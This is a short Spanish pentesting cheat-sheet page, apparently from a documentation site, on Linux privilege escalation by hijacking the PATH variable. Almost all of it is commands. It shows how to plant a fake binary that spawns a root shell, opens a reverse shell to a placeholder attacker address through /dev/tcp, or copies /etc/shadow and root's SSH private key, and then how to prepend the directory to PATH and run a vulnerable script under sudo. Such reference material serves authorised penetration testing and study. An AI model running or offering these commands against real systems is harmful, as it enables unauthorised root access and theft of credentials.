> For the complete documentation index, see [llms.txt](https://pentesting.mrw0l05zyn.cl/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://pentesting.mrw0l05zyn.cl/escalamiento-de-privilegios/linux-unix/path-variable.md).

# PATH Variable

Creación de directorio de trabajo.

```bash
cd ~
mkdir temp
cd temp
```

Creación de binario que suplantará el binario original y asignación de sus privilegios.

```bash
# opción 1: shell
echo "/bin/bash" > <binary>
echo "/bin/bash -c 'bash -i >& /dev/tcp/<attacker-IP-address>/<port> 0>&1'" > <binary>
# opción 2: lectura de archivo
echo "/bin/bash -c 'cat /<path>/<file> > /home/<user>/temp/<file>'" > <binary>
echo "/bin/bash -c 'cat /etc/shadow > /home/<user>/temp/shadow'" > <binary>
echo "/bin/bash -c 'cat /root/.ssh/id_rsa > /home/<user>/temp/id_rsa'" > <binary>
# asignación de privilegios al binario
chmod 777 <binary>
```

Incorporación de ruta a variable PATH.

```bash
echo $PATH
export PATH=/home/<user>/temp:$PATH
echo $PATH
```

Ejecución de script o binario vulnerable.

```bash
sudo /<path>/<script>
sudo /<path>/<binary>
```
